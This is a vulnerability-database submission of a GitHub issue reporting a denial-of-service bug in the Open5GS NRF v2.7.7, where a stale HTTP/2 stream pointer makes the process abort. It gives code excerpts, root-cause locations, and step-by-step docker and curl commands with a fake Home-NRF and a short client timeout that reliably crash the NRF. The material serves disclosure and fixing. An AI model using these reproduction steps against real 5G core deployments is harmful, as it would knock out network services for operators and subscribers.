Отправить #817032: Open5GS NRF v2.7.7 Denial of ServiceИнформация

НазваниеOpen5GS NRF v2.7.7 Denial of Service
Описание### Open5GS Release, Revision, or Tag v2.7.7 ### Description NRF aborts during inter-PLMN discovery forwarding if the original HTTP/2 client disconnects before the Home-NRF response comes back. The forwarding path stores a raw `ogs_sbi_stream_t *` inside `nrf_assoc`: ```c typedef struct nrf_assoc_s { ... ogs_sbi_stream_t *stream; } nrf_assoc_t; ``` ```c assoc->stream = stream; ``` When the delayed Home-NRF response arrives, `discover_handler()` reuses that raw pointer without checking whether the original stream/session is still alive: ```c stream = assoc->stream; ogs_assert(stream); ... ogs_expect(true == ogs_sbi_server_send_response(stream, response)); ``` But if the original client timed out and disconnected first, nghttp2 closes the stream and frees it: ```c stream = nghttp2_session_get_stream_user_data(session, stream_id); ... stream_remove(stream); ``` The later response send then walks into `server_send_rspmem_persistent()` with an invalid socket and aborts: ```c fd = sock->fd; ogs_assert(fd != INVALID_SOCKET); ``` This is a distinct crash from the already documented inter-PLMN `SearchResult` pool-exhaustion issues. Here the attacker only needs a delayed but otherwise valid Home-NRF response plus a client disconnect. ### Root cause - Entry route: `GET /nnrf-disc/v1/nf-instances` - Preconditions: inter-PLMN forwarding path with `hnrf-uri`, and the original client must disconnect before the Home-NRF replies - Raw association storage: `../src/nrf/context.h:44-48` and `../src/nrf/context.c:137-153` - Response callback: `../src/nrf/nnrf-handler.c:1360-1405` - Stream free on disconnect: `../lib/sbi/nghttp2-server.c:1306-1327` - Exact crash site: `../lib/sbi/nghttp2-server.c:643` - Root cause family: stale stream / use-after-free style response handling leading to assertion abort - Controlling factor: delayed Home-NRF response timing relative to original client disconnect ### Steps to reproduce 1. Start a fake h2c Home-NRF on the Docker `open5gs` network: ```bash printf 'control\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode docker run --rm -d \ --name hnrfctl \ --network open5gs \ --network-alias hnrfctl \ -e NRF_FAKE_PORT=80 \ -v /home/ubuntu/open5gs_277/.audit_tmp:/srv \ node:24-alpine \ node /srv/nrf_fake_hnrf.js ``` 2. Control case: restart the local NRF and issue the inter-PLMN request with an immediate Home-NRF response: ```bash docker restart nrf sleep 2 docker run --rm --network open5gs curlimages/curl:8.10.1 \ --http2-prior-knowledge -sS -i -m 8 --get \ http://nrf.open5gs.org/nnrf-disc/v1/nf-instances \ --data-urlencode 'target-nf-type=UDR' \ --data-urlencode 'requester-nf-type=UDM' \ --data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \ --data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \ --data-urlencode 'hnrf-uri=http://hnrfctl' ``` 3. Malicious case: switch the fake Home-NRF to delayed mode, restart the local NRF to clear the cached foreign UDR, then send the same request with a 1 second client timeout so the original stream is closed before the delayed response returns: ```bash printf 'delayed-control\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode docker restart nrf sleep 2 docker run --rm --network open5gs curlimages/curl:8.10.1 \ --http2-prior-knowledge -sS -i -m 1 --get \ http://nrf.open5gs.org/nnrf-disc/v1/nf-instances \ --data-urlencode 'target-nf-type=UDR' \ --data-urlencode 'requester-nf-type=UDM' \ --data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \ --data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \ --data-urlencode 'hnrf-uri=http://hnrfctl' sleep 4 docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nrf docker logs --tail 120 nrf 2>&1 ``` ### Logs ```shell 04/23 12:49:11.233: [sbi] INFO: RST_STREAM received: stream_id=1 (../lib/sbi/nghttp2-server.c:1288) 04/23 12:49:11.233: [sbi] ERROR: on_stream_close_callback() failed (5:STREAM_CLOSED) (../lib/sbi/nghttp2-server.c:1320) 04/23 12:49:13.245: [sbi] FATAL: server_send_rspmem_persistent: Assertion `fd != INVALID_SOCKET' failed. (../lib/sbi/nghttp2-server.c:643) 04/23 12:49:13.250: [core] FATAL: backtrace() returned 12 addresses (../lib/core/ogs-abort.c:37) ``` ### Expected behaviour NRF should detect that the original client stream is already gone and drop the delayed Home-NRF response without aborting. ### Observed Behaviour If the original inter-PLMN discovery client disconnects before the delayed Home-NRF reply arrives, NRF reuses a stale stream pointer and terminates with exit code `139`. ### eNodeB/gNodeB Not required. ### UE Models and versions Not required.
Источник⚠️ https://github.com/open5gs/open5gs/issues/4476
Пользователь
 ZiyuLin (UID 93568)
Представление01.05.2026 10:40 (1 месяц назад)
Модерация16.05.2026 14:38 (15 days later)
Статуспринято
Запись VulDB364333 [Open5GS до 2.7.7 NRF nghttp2-server.c discover_handler повреждение памяти]
Баллы20

Interested in the pricing of exploits?

See the underground prices here!